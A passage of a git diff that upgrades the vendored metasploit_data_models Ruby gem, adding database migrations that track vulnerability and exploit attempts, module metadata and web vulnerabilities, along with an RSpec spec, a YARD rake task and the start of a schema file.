:fail_reason # Short string corresponding to a Msf::Exploit::Failure constant + t.string :username # The user that tested this vulnerability + t.text :module # The specific module name that was used + t.integer :session_id # Database identifier of any opened session + t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) + end + end + + def self.down + drop_table :vuln_attempts + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb new file mode 100755 index 0000000000..c34101fd89 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb @@ -0,0 +1,14 @@ +class AddVulnAndHostCounterCaches < ActiveRecord::Migration + + def self.up + add_column :hosts, :host_detail_count, :integer, :default => 0 + add_column :vulns, :vuln_detail_count, :integer, :default => 0 + add_column :vulns, :vuln_attempt_count, :integer, :default => 0 + end + + def self.down + remove_column :hosts, :host_detail_count + remove_column :vulns, :vuln_detail_count + remove_column :vulns, :vuln_attempt_count + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb new file mode 100755 index 0000000000..cb99f7ee84 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb @@ -0,0 +1,118 @@ +class AddModuleDetails < ActiveRecord::Migration + + def self.up + + create_table :module_details do |t| + t.timestamp :mtime # disk modified time + t.text :file # location on disk + t.string :mtype # exploit, auxiliary, post, etc + t.text :refname # module path (no type) + t.text :fullname # module path with type + t.text :name # module title + t.integer :rank # exploit rank + t.text :description # + t.string :license # MSF_LICENSE + t.boolean :privileged # true or false + t.timestamp :disclosure_date # Mar 10 2004 + t.integer :default_target # 0 + t.text :default_action # "scan" + t.string :stance # "passive" + t.boolean :ready # true/false + end + + add_index :module_details, :refname + add_index :module_details, :name + add_index :module_details, :description + add_index :module_details, :mtype + + create_table :module_authors do |t| + t.integer :module_detail_id + t.text :name + t.text :email + end + add_index :module_authors, :module_detail_id + + create_table :module_mixins do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_mixins, :module_detail_id + + create_table :module_targets do |t| + t.integer :module_detail_id + t.integer :index + t.text :name + end + add_index :module_targets, :module_detail_id + + create_table :module_actions do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_actions, :module_detail_id + + create_table :module_refs do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_refs, :module_detail_id + add_index :module_refs, :name + + create_table :module_archs do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_archs, :module_detail_id + + create_table :module_platforms do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_platforms, :module_detail_id + + end + + def self.down + remove_index :module_details, :refname + remove_index :module_details, :name + remove_index :module_details, :description + remove_index :module_details, :mtype + + remove_index :module_authors, :module_detail_id + remove_index :module_mixins, :module_detail_id + remove_index :module_targets, :module_detail_id + remove_index :module_actions, :module_detail_id + remove_index :module_refs, :module_detail_id + remove_index :module_refs, :name + remove_index :module_archs, :module_detail_id + remove_index :module_platform, :module_detail_id + + drop_table :module_details + drop_table :module_authors + drop_table :module_mixins + drop_table :module_targets + drop_table :module_actions + drop_table :module_refs + drop_table :module_archs + drop_table :module_platforms + + end +end + +=begin + +Mdm::Host.find_by_sql(" +SELECT + hosts.id, hosts.address, module_details.mtype AS mtype, module_details.refname AS mname, vulns.name AS vname, refs.name AS vref +FROM + hosts,vulns,vulns_refs,refs,module_refs,module_details +WHERE + hosts.id = vulns.host_id AND + vulns.id = vulns_refs.vuln_id AND + vulns_refs.ref_id = refs.id AND + refs.name = module_refs.name AND + module_refs.module_detail_id = modules_details.id +").map{|x| [x.address, x.mname, x.vname, x.vref ] } + + +=end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb new file mode 100755 index 0000000000..22d3ec0b1f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb @@ -0,0 +1,26 @@ +class AddExploitAttempts < ActiveRecord::Migration + + def self.up + create_table :exploit_attempts do |t| + t.integer :host_id # Host table reference (primary) + t.integer :service_id # Service table reference (optional) + t.integer :vuln_id # Vuln table reference (optional) + t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited + t.boolean :exploited # Whether or not the attempt succeeded + t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant + t.string :username # The user that tested this vulnerability + t.text :module # The specific module name that was used + t.integer :session_id # Database identifier of any opened session + t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) + t.integer :port # Port -> Services are created/destroyed frequently and failed + t.string :proto # Protocol | attempts may be against closed ports. + end + + add_column :hosts, :exploit_attempt_count, :integer, :default => 0 + end + + def self.down + drop_table :exploit_attempts + remove_column :hosts, :exploit_attempt_count + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb new file mode 100755 index 0000000000..7d6dd0f96b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb @@ -0,0 +1,12 @@ +class AddFailMessage < ActiveRecord::Migration + + def self.up + add_column :vuln_attempts, :fail_detail, :text + add_column :exploit_attempts, :fail_detail, :text + end + + def self.down + remove_column :vuln_attempts, :fail_detail + remove_column :exploit_attempts, :fail_detail + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb new file mode 100644 index 0000000000..2160e61de6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb @@ -0,0 +1,13 @@ +class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration + + def self.up + add_column :web_vulns, :owner, :string + add_column :web_vulns, :payload, :text + end + + def self.down + remove_column :web_vulns, :owner + remove_column :web_vulns, :payload + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb new file mode 100644 index 0000000000..bf0f9d7297 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb @@ -0,0 +1,35 @@ +# Changes all the {COLUMNS} in the web_vulns table that are required for {Mdm::WebVuln}, but were previously +# :null => true +class ChangeRequiredColumnsToNullFalseInWebVulns < ActiveRecord::Migration + # Columns that were previously :null => true, but are actually required to be non-null, so should be + # :null => false + COLUMNS = [ + :category, + :confidence, + :method, + :name, + :params, + :path, + :pname, + :proof, + :risk + ] + # Table in which {COLUMNS} are. + TABLE_NAME = :web_vulns + + # Marks all the {COLUMNS} as :null => true + def down + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, true) + end + end + + # Marks all the {COLUMNS} as :null => false + def up + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, false) + end + end + + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/base64_serializer.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/engine.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb new file mode 100755 index 0000000000..ee7b61398b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb @@ -0,0 +1,8 @@ +module MetasploitDataModels + # MetasploitDataModels follows the {http://semver.org/ Semantic Versioning Specification}. At this time, the API + # is considered unstable because although the database migrations have moved from + # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the + # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework + # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 + VERSION = '0.5.1' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake new file mode 100644 index 0000000000..cc279684e7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake @@ -0,0 +1,27 @@ +# @note All options not specific to any given rake task should go in the .yardopts file so they are available to both +# the below rake tasks and when invoking `yard` from the command line + +require 'yard' +require 'yard/rake/yardoc_task' + +namespace :yard do + YARD::Rake::YardocTask.new(:doc) do |t| + # --no-stats here as 'stats' task called after will print fuller stats + t.options = ['--no-stats'] + + t.after = Proc.new { + Rake::Task['yard:stats'].execute + } + end + + desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" + task :stats => :environment do + stats = YARD::CLI::Stats.new + stats.run('--compact', '--list-undoc') + end +end + +# @todo Figure out how to just clone description from yard:doc +desc "Generate YARD documentation" +# allow calling namespace to as a task that goes to default task for namespace +task :yard => ['yard:doc'] \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec similarity index 88% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec index ec0d9dd672..c3f3788558 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec @@ -18,6 +18,10 @@ Gem::Specification.new do |s| # ---- Dependencies ---- s.add_development_dependency 'rake' + # markdown formatting for yard + s.add_development_dependency 'redcarpet' + # documentation + s.add_development_dependency 'yard' s.add_runtime_dependency 'activerecord', '>= 3.2.10' s.add_runtime_dependency 'activesupport' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb new file mode 100644 index 0000000000..d55706f947 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb @@ -0,0 +1,87 @@ +require 'spec_helper' + +describe Mdm::WebVuln do + let(:confidence_range) do + 1 .. 100 + end + + let(:methods) do + [ + 'GET', + 'POST', + # XXX not sure why PATH is valid since it's not an HTTP method verb. + 'PATH' + ] + end + + let(:risk_range) do + 0 .. 5 + end + + context 'associations' do + it { should belong_to(:web_site).class_name('Mdm::WebSite') } + end + + context 'CONSTANTS' do + it 'should define CONFIDENCE_RANGE' do + described_class::CONFIDENCE_RANGE.should == confidence_range + end + + it 'should define METHODS in any order' do + described_class::METHODS.should =~ methods + end + + it 'should define RISK_RANGE' do + described_class::RISK_RANGE.should == risk_range + end + end + + context 'database' do + context 'columns' do + it { should have_db_column(:blame).of_type(:text) } + it { should have_db_column(:category).of_type(:text).with_options(:null => false) } + it { should have_db_column(:confidence).of_type(:text).with_options(:null => false) } + it { should have_db_column(:description).of_type(:text) } + it { should have_db_column(:method).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:name).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:owner).of_type(:string) } + it { should have_db_column(:params).of_type(:text).with_options(:null => false) } + it { should have_db_column(:path).of_type(:text).with_options(:null => false) } + it { should have_db_column(:payload).of_type(:text) } + it { should have_db_column(:pname).of_type(:text).with_options(:null => false) } + it { should have_db_column(:proof).of_type(:binary).with_options(:null => false) } + it { should have_db_column(:query).of_type(:text) } + it { should have_db_column(:request).of_type(:binary) } + it { should have_db_column(:risk).of_type(:integer).with_options(:null => false) } + it { should have_db_column(:web_site_id).of_type(:integer).with_options(:null => false) } + + context 'timestamps' do + it { should have_db_column(:created_at).of_type(:datetime).with_options(:null => false) } + it { should have_db_column(:updated_at).of_type(:datetime).with_options(:null => false) } + end + end + + context 'indices' do + it { should have_db_index(:method) } + it { should have_db_index(:name) } + it { should have_db_index(:path) } + end + end + + context 'validations' do + it { should validate_presence_of :category } + it { should ensure_inclusion_of(:confidence).in_range(confidence_range) } + it { should ensure_inclusion_of(:method).in_array(methods) } + it { should validate_presence_of :name } + it { should validate_presence_of :path } + it { should validate_presence_of :params } + it { should validate_presence_of :pname } + it { should validate_presence_of :proof } + it { should ensure_inclusion_of(:risk).in_range(risk_range) } + it { should validate_presence_of :web_site } + end + + context 'serializations' do + it { should serialize(:params).as_instance_of(MetasploitDataModels::Base64Serializer) } + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/wrap_parameters.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb new file mode 100644 index 0000000000..bd6f124190 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb @@ -0,0 +1,638 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20130228214900) do + + create_table "api_keys", :force => true do |t| + t.text "token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "attachments", :force => true do |t| + t.string "name", :limit => 512 + t.binary "data" + t.string "content_type", :limit => 512 